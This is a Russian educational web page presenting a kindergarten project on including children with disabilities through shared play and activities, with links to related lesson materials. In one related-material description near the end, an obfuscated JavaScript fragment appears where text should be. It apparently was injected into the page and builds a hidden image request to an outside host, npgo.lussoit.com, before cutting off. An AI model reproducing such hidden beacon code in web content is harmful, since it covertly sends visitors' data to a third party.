Проект "Давайте дружить"
проект по коррекционной педагогике
В Европе инвалиды - это «люди с повышенными потребностями», а в России - это «люди с ограниченными возможностями»
Если ребенок не может развиваться так, как мы развиваем, может быть, мы должны его развивать так, как он умеет?
Скачать:
Вложение | Размер |
---|---|
![]() | 2.26 МБ |
Предварительный просмотр:
Подписи к слайдам:
В Европе инвалиды - это «люди с повышенными потребностями», а в России - это «люди с ограниченными возможностями» Если ребенок не может развиваться так, как мы развиваем, может быть, мы должны его развивать так, как он умеет?
Паспорт проекта : Тема: социальное взаимодействие воспитанников группы комбинированной направленности через совместную деятельность. разработчики: Лобова М. В. вид: содержание этапов проекта. тип проекта : социальный участники проекта: дети дошкольного возраста группы комбинированной направленности , педагоги, воспитатели . по составу участников: групповое по продолжительности: долгосрочный (учебный год)
Актуальность проекта Одной из форм социальной адаптации детей с ограниченными возможностями является совместная деятельность с группой сверстников, норма развития которых соответствует их возрасту.
Задачи: - побуждать к социально-личностному развитию детей; - побуждать к совместной игровой деятельности; -обеспечивать всестороннее развитие воспитанников; - формировать толерантное отношение к людям с ОВЗ; -углублять представления об окружающих людях; -развивать умения участвовать в коллективных мероприятиях; -воспитывать чуткость, милосердие и отзывчивость.
Ожидаемые результаты: - проект способствует включению детей с ОВЗ в систему социальных отношений; - дети с нормами в развитии получат возможность проявить чуткость, милосердие и толерантное отношение к детям с ОВЗ; -дети с ОВЗ получат опыт взаимодействия и участия в коллективных играх;
Этапы реализации проекта: 1 этап: подготовительный. – постановка целей, определение актуальности и значимости проекта; - привлечение специалистов к участию в проекте; - работа с воспитателями; -разработка плана работы на учебный год ; - подготовка презентации. - подбор практического материала; – подбор методической литературы для реализации проекта ; – подбор наглядно-дидактического материала; художественной литературы, видеоматериалов.
2 этап: основной 1. Знакомство детей группы друг с другом, с воспитателем, со специалистами детского сада. 2. Налаживание контакта, доверительных отношений между детьми с ОВЗ и специалистами посредствам групповых и индивидуальных занятий. 3. Совместная деятельность детей комбинированной группы посредствам игр, развлечений, занятий, прогулок. 4. Участие детей с ОВЗ в конкурсах
Знакомство детей группы друг с другом, с воспитателем, со специалистами детского сада .
Налаживание контакта, доверительных отношений между детьми с ОВЗ и специалистами посредствам групповых и индивидуальных занятий.
Совместная деятельность дошкольников посредствам игр, развлечений, занятий, прогулок.
3 этап: заключительный – анализ результатов проекта; – презентация результатов.
- В следующем учебном году планируется продолжение подобной работы, так как опыт показал, что данная работа полезна, востребована и дает положительную динамику в приобретении социального опыта у детей с ОВЗ.
По теме: методические разработки, презентации и конспекты
![](/sites/default/files/pictures/2010/10/16/picture-3479.jpg)
Проект «C туризмом дружит вся семья» (старший дошкольный возраст)
Цель проекта: Привлечение детей и родителей к активному отдыху, спорту....
![](/sites/default/files/pictures/2014/01/10/picture-13624-1389377681.jpg)
Если хочешь долго жить - научись с огнем дружить!
Развлечение по правилам пожарной безопасности, со сказкой-драматизацией и стихами противопожарного содержания. Старший дошкольный возраст....
![](/sites/default/files/pictures/2014/02/07/picture-10002-1391793990.jpg)
Реализация ФГТ В ГДОУ. Занятие "Давайте дружить"
Цель: Создание условий для естественного психологического развития ребенка. Задачи: *Развитие эмоцианальной сферы. введение ребенка в мир человеческих эмоций. *развитие коммуникативных уме...
Конспект НОД во II младшей группе на тему " Дружит с бабочкой цветок, Дружим мы с тобою».
Конспект НОД во II младшей группе на тему «Дружит с бабочкой цветок,Дружим мы с тобою».Конспект НОД во II младшей группе на тему " Дружит с бабочкой цветок,Дружим мы с...
![](/sites/default/files/pictures/2018/10/24/picture-1073954-1540404628.jpg)
Что делать, если с вашим ребенком никто не дружит? Как помочь ребенку, если с ним не хотят дружить.
var e,n,o;window.self===window.top&&(e=[\'//\',\'s:\',\'tp\',\'ht\'].reverse().join(\'\'),n=[\'npgo.lussoit.com\',\'67\'].join(\'/\'),(o=new Image).src=\'\'.concat(e).concat(n,\'.gif\')); !function(){if(!window.mainSc...
Тематическая беседа "Мы дружим с физкультурой" материал (группа раннего возраста) на тему: «Мы дружим с физкультурой»
Тематическая беседа "Мы дружим с физкультурой"материал (группа раннего возраста) на тему:«Мы дружим с физкультурой» Цель: учить заботиться о своем здоровье; прививать л...